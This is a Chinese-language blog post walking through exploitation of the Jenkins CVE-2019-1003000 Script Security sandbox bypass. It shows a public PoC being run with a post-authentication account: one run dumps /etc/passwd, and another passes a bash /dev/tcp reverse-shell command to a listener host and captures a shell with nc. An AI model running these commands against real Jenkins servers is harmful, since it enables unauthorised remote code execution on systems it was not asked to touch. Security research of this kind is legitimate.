Featured image of post Jenkins漏洞利用深度解析-CVE-2019-1003000沙箱绕过实战

Jenkins漏洞利用深度解析-CVE-2019-1003000沙箱绕过实战

本文详细分析了Jenkins CVE-2019-1003000漏洞的利用技术,涉及脚本安全插件沙箱绕过方法,通过具体攻击演示展示了如何在后认证环境下实现远程代码执行,并提供了防护建议。

在Orange Tsai发布Jenkins漏洞利用后,我进行了一些深入研究。针对Jenkins的预认证远程代码执行是众人追求的目标。

虽然与博客文章和推文不完全相关,但以下漏洞利用是在搜索过程中发现的。

我认识到与这轮最新Jenkins漏洞利用相关的重要点是插件版本。坦白说,过去我从未过多关注插件,因为问题通常出现在Jenkins核心(如第一篇博客文章所述),但您可以通过访问jenkins-server/pluginManager/installed查看它们。

这需要管理员权限,否则您会看到:

如果您有权限,也可以使用jenkins-cli客户端访问并拉取信息:

1
$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

据我所知,您无法像WordPress那样在没有(提升的)身份验证的情况下枚举已安装的插件及其版本。如果您知道方法,请告诉我。目前看来只能不断尝试直到找到有效方法。

正如我所提到的,最新的特定漏洞与已安装的Jenkins插件有关。查看CVE-2019-1003000(https://nvd.nist.gov/vuln/detail/CVE-2019-1003000),我们可以看到它影响脚本安全插件(nist.gov显示为2.49,但这是笔误,应为1.49),如Jenkins公告https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266所示。

该问题的漏洞利用存在并可在此处获取:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc,它甚至附带了一个docker配置,可以在易受攻击的版本上进行测试。这个特定漏洞利用的重要之处在于它是后认证的,但不需要脚本权限,只需要Overall/Read权限和Job/Configure权限。

我看到越来越多的服务器/管理员(理所当然地)阻止对script和scriptText控制台的访问,因为已有充分记录表明这会立即导致RCE。

在Pipeline: Declarative Plugin 1.3.4.1之前版本、Pipeline: Groovy Plugin 2.61.1之前版本和Script Security Plugin 1.50之前版本中发现了一个缺陷。

此PoC使用具有Overall/Read和Job/Configure权限的用户在沙箱模式下执行恶意修改的构建脚本,并尝试绕过沙箱模式限制以运行任意脚本(在本例中,我们将执行系统命令)。

作为背景,Jenkins的流水线构建脚本是用Groovy编写的。此构建脚本将在Jenkins主节点或节点上编译和执行,包含流水线的定义,例如在从节点中要执行的操作。Jenkins还提供了在沙箱模式下执行的脚本。在沙箱模式下,所有危险功能都被列入黑名单,因此普通用户无法对Jenkins服务器执行任何恶意操作。

运行漏洞利用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

您当然也可以从中获取反向shell。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY

然后您会得到:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
nc -l 4444 -vv

bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins

bash-4.4$

简而言之,如果安装了旧版本的脚本安全插件,并且您具有Overall/Read权限和Job/Configure权限(普通Jenkins用户更可能拥有这些权限),您可以使用此漏洞利用获取shell,且此漏洞利用不需要使用脚本控制台。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计